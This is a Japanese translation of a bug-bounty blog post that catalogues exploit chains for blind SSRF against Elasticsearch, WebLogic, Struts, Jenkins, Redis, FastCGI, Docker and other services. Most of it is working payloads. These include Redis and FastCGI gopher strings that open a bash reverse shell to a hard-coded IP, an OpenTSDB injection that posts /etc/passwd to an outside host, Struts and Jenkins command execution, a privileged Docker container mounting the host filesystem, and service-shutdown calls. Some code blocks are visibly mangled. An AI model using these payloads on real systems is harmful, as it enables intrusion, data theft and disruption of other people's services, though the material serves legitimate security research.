
Blind SSRF脆弱性を連鎖させるすべての可能な方法の網羅的なリスト
Server Side Request Forgery(SSRF)は、サーバーに任意のリクエストを代行させることができる状態を指します。サーバーがリクエストを実行するため、ネットワーク上の位置によっては内部リソースにアクセスできる可能性があります。クラウド環境では、機密の認証情報やシークレットを含む可能性のあるメタデータエンドポイントが存在するため、SSRFはより重大なリスクをもたらします。
サーバーサイドリクエストフォージェリを悪用する際、レスポンスを読み取れない状況に遭遇することがよくあります。業界では、この動作は「ブラインドSSRF」と呼ばれています。そのような状況で、どのように影響を証明するのでしょうか?これはJustin Gardner氏がTwitterで提起した興味深い議論です:
最近、大量のブラインドSSRFを見つけています。これまでに皆さんはどのようなワンショットRCEをピボットとして使ったことがありますか?Kafkaやその他いろいろなものにアクセスできる状態です。 @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) 2021年1月13日
内部リソースにアクセスできる場合、影響を証明するために実行可能なエクスプロイトチェーンがいくつかあります。このブログ記事では、ブラインドSSRFを利用する際の既知のエクスプロイトチェーンについて詳しく説明し、新しいテクニックが発見・共有されるたびに更新されます。
テクニックを見逃している場合は、ツイートまたはDMでお知らせください:@assetnote まで。このブログに追加します。
私はそれらをSSRFカナリアと呼ぶ傾向があります。ブラインドSSRFを内部の別のSSRFにチェーンし、外部に追加のコールを行う場合や、アプリ固有のオープンリダイレクトやブラインドXXEを使う場合です。Confluence、Artifactory、Jenkins、JAMFにはうまく機能するものがあります。
— Frans Rosén (@fransrosen) 2021年1月13日
内部サービスやアプリケーションとやり取りできることを確認するために、「SSRFカナリア」を利用できます。
これは、別のSSRFを実行し、カナリアホストにコールバックする内部URLをリクエストする場合です。カナリアホストにリクエストを受信した場合、それはアウトバウンドリクエストも実行可能な内部サービスに正常にアクセスできたことを意味します。
これは、SSRF脆弱性が内部ネットワークやアプリケーションにアクセスできること、また内部ネットワーク上に特定のソフトウェアが存在することを確認する効果的な方法です。また、SSRFカナリーの位置によっては、内部ネットワークのより機密性の高い部分にピボットすることも可能です。
可能な限り多くの内部ホストを見つけることを目的として、DNSデータソースを利用して内部ホストを指すすべてのレコードを見つけることができます。
クラウド環境では、内部VPC内のホストを指すELBをよく見かけます。ターゲットとするアセットがどのVPCにあるかによって、同じVPC内の他のホストにアクセスできる可能性があります。
例えば、DNSデータソースから次のようなホストが発見されたとします:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
`es`はElasticsearchを指すと仮定し、このホストに対してさらに攻撃を仕掛けることができます。また、この方法で特定されたすべての「内部」ホストに、これらのブラインドSSRFペイロードを一斉に送信することもできます。これは多くの場合効果的です。
さらに内部ホストを見つけるには、すべてのDNSデータを取得し、[AltDNS](https://github.com/infosec-au/altdns)のようなものを使用して順列を生成し、[高速DNSブルートフォーサー](https://github.com/blechschmidt/massdns)で解決することをお勧めします。
これが完了したら、新たに発見されたすべての内部ホストを特定し、それらをブラインドSSRFチェーンの一部として使用します。
## サイドチャネルリーク
ブラインドSSRFの脆弱性を悪用する際、返されるレスポンスに関する情報を漏洩できる場合があります。例えば、XXEを介したブラインドSSRFがあるとします。エラーメッセージは以下のようなことを示す可能性があります:
- レスポンスが返された
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
vs.
- ホストとポートに到達できない
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
同様に、XXE以外でも、Webアプリケーションは以下の違いを調査することで特定できるサイドチャネルリークを持つ可能性があります:
- **レスポンスステータスコード**:
オンラインの内部アセット:ポートは`200 OK`で応答するのに対し、オフラインの内部アセット:ポートは`500 Internal Server Error`
- **レスポンス内容**:
レスポンスサイズ(バイト)は、リクエストしようとしているURLに到達可能かどうかによって小さくなったり大きくなったりします。
- **レスポンスタイミング**:
レスポンス時間は、リクエストしようとしているURLに到達可能かどうかによって遅くなったり速くなったりします。
---------------
# テクニック
**HTTP(s)経由で可能**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Other Atlassian Products](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Gopher経由で可能**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**ツール**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**HTTP(s)経由で可能**
<div id="elasticsearch"></div>
## Elasticsearch
**一般的にバインドされるポート: 9200**
Elasticsearchが内部にデプロイされている場合、通常は認証を必要としません。
ステータスコードを判断できる部分的なブラインドSSRFがある場合、以下のエンドポイントが200を返すかどうかを確認してください:```http
/_cluster/health
/_cat/indices
/_cat/health
盲目的なSSRFがあり、POSTリクエストを送信できる場合、以下のパスにPOSTリクエストを送信することでElasticsearchインスタンスをシャットダウンできます。
注: _shutdown APIはElasticsearchバージョン2.x以上で削除されました。これはElasticsearch 1.6以下の場合にのみ機能します。```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**一般的にバインドされるポート: 80, 443 (SSL), 7001, 8888**
**SSRFカナリー: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
これはGETでも動作します:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
このエンドポイントはCRLFインジェクションに対しても脆弱です:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
次のリクエストになります:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
出典: [こちら](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**よく使用されるポート: 8500, 8501 (SSL)**
解説は[こちら](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)からご覧いただけます。
<div id="shellshock"></div>
## Shellshock
**よく使用されるポート: 80, 443 (SSL), 8080**
Shellshockを効果的にテストするには、ペイロードを含むヘッダーを追加する必要があるかもしれません。以下のCGIパスを試す価値があります。
テストすべきCGIパスの簡易リスト:
[パスを含むGist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: User Agent経由のShellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
一般的にバインドされるポート: 80, 8080, 8888, 8082
Apache Druid のAPIリファレンスはこちらを参照してください。
ステータスコードを確認できる場合、以下のパスが200ステータスコードを返すかどうかを確認してください:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus
シャットダウンタスクは、タスクIDまたはデータソース名を推測する必要があります:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Apache Druid Overlords 上の supervisors のシャットダウン:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown
<div id="solr"></div>
## Apache Solr
**一般的にバインドされるポート: 8983**
**SSRFカナリア: Shardsパラメータ**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">shubhamの発言に追加すると、Solrのスキャンは比較的簡単です。shards=パラメータを使用すると、SSRFからSSRFへバウンスして、盲目的にSolrインスタンスにヒットしていることを確認できます。</p>— Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">2021年1月13日</a></blockquote>
以下から引用: [こちら](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}
**dataImportHandler を介した RCE**
[dataImportHandler を介した RCE の調査](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**一般的にバインドされるポート: 80,443 (SSL)**
この研究から引用 [こちら](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**SSRF カナリア: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...
<div id="struts"></div>
## Apache Struts
**一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
出典: [こちら](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRFカナリア: Struts2-016**:
これを既知のすべての内部エンドポイント/URLの末尾に追加します:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)
以下から引用 here.
SSRFカナリア: URLからのWARデプロイ```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
<div id="confluence"></div>
## Confluence
**よくバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (2016年11月以降にリリースされたConfluenceバージョンおよびそれ以前)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Atlassian セキュリティチケット OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
<div id="jira"></div>
## Jira
**一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Atlassian セキュリティチケット OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Atlassian セキュリティチケット JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
<div id="atlassian-products"></div>
## その他のAtlassian製品
**一般的に使用されるポート: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Atlassianセキュリティチケット OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
一般的にバインドされるポート: 4242
SSRFカナリア: RCE経由のcurl```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
[OpenTSDB 2.4.0 リモートコード実行](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: RCEを介したcurl - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
一般的にバインドされるポート: 80,443 (SSL),8080,8888
優れた解説はこちら。
SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
**RCE**
以下の指示に従って、GET経由でRCEを達成してください: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
Groovy経由のRCE``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
<div id="hystrix"></div>
## Hystrix ダッシュボード
**一般的なバインドポート: 80,443 (SSL),8080**
Spring Cloud Netflix、バージョン 2.2.x で 2.2.4 未満、バージョン 2.1.x で 2.1.6 未満。
**SSRF カナリア: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/
一般的にバインドされるポート: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
これはPUTリクエストである必要があります:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
**SSRF Canary**
この脆弱性に関するアドバイザリはこちらで公開されました:[W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
このPHPコードは、あなたのSSRF Canaryホスト用のペイロードを生成します(`url` をあなたのカナリアホストに置き換えてください):```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
よくバインドされるポート: 2375, 2376 (SSL)
部分的にブラインドなSSRFがある場合、以下のパスを使用してDocker APIの存在を確認できます。```bash /containers/json /secrets /services
**任意のDockerイメージの実行によるRCE**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Replace alpine を、Docker コンテナを実行させたい任意のイメージに置き換えてください。
よくバインドされるポート: 9121
この脆弱性は、バージョン 13.1.1 より前の Gitlab インスタンスに影響します。Gitlab ドキュメント によると、Prometheus とそのエクスポーターはデフォルトで有効になっており、GitLab 9.0 から利用可能です。
これらのエクスポーターは、攻撃者が CVE-2020-13379 を使用して他のサービスをピボットし攻撃するための優れた方法を提供します。容易に悪用されるエクスポーターの1つが Redis Exporter です。
次のエンドポイントにより、攻撃者は target パラメータで指定された Redis サーバー内のすべてのキーをダンプできるようになります。```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
**Gopher経由で可能**
<div id="redis"></div>
## Redis
**一般的にバインドされるポート: 6379**
参考資料:
- [HTTPリクエストによるRedisのハッキングの試み](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Redisに対するSSRFエクスプロイト](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**Cron経由のRCE** - [Gopher攻撃面](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
ゴーファー:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
**シェルアップロードによるRCE (PHP)** - [Redis シェル取得まとめ](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE via authorized_keys - Redis Getshell 概要```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
**Gitプロトコルを介したGitLabでのRCE**
Liveoverflowによる素晴らしい解説は[こちら](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)。
これを悪用するにはGitLabへの認証アクセスが必要ですが、`git`プロトコルがハッキング対象で機能する可能性もあるため、ここにペイロードを含めています。このペイロードは参考用です。```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
よくバインドされるポート: 11211
<div id="tomcat"></div>
## Apache Tomcat
**一般的に使用されるポート: 80,443 (SSL),8080,8443 (SSL)**
Tomcat 6 のみ有効:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
この手法を使用したCTFのWriteup:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**一般的に使用されるポート: 80,443 (SSL)**
これは[こちら](https://blog.chaitin.cn/gopher-attack-surfaces/)から引用しました。```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
よくバインドされるポート: 1090,1098,1099,1199,4443-4446,8999-9010,9999
任意のバイト(gopher ベース)を許可するブラインド SSRF 脆弱性は、Java RMI のデフォルトコンポーネント(RMI Registry、Distributed Garbage Collector、Activation System)に対して、デシリアライゼーション攻撃やコードベース攻撃を行うために使用できます。詳細な解説はこちらにあります。以下のリストは、ペイロード生成の例を示しています。```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
-------------------
**ツール**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Gopherusに関するブログ記事](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
このツールは以下のためのGopherペイロードを生成します:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [SSRFの使用に関するブログ記事](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* は、最も一般的な *Java RMI* の脆弱性に対する攻撃操作をサポートする *Java RMI* 脆弱性スキャナーです。利用可能な操作のほとんどは、要求された操作に対する *SSRF* ペイロードを生成するための ``--ssrf`` オプションをサポートしています。``--gopher`` オプションと組み合わせることで、すぐに使用できる *gopher* ペイロードを直接生成できます。
<div id="ssrfproxy"></div>
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxyは、クライアントのHTTPトラフィックをServer-Side Request Forgery (SSRF)に対して脆弱なHTTPサーバーを通じてトンネリングするためのマルチスレッドHTTPプロキシサーバーです。
---
クレジット:
この投稿に貢献してくださった以下の方々に感謝します:
- [@Rhynorater - このブログ記事への多大な貢献](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - SSRF canaries concept](https://twitter.com/fransrosen)
- [@theabrahack - RCE via Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE via Java RMI](https://twitter.com/qtc_de)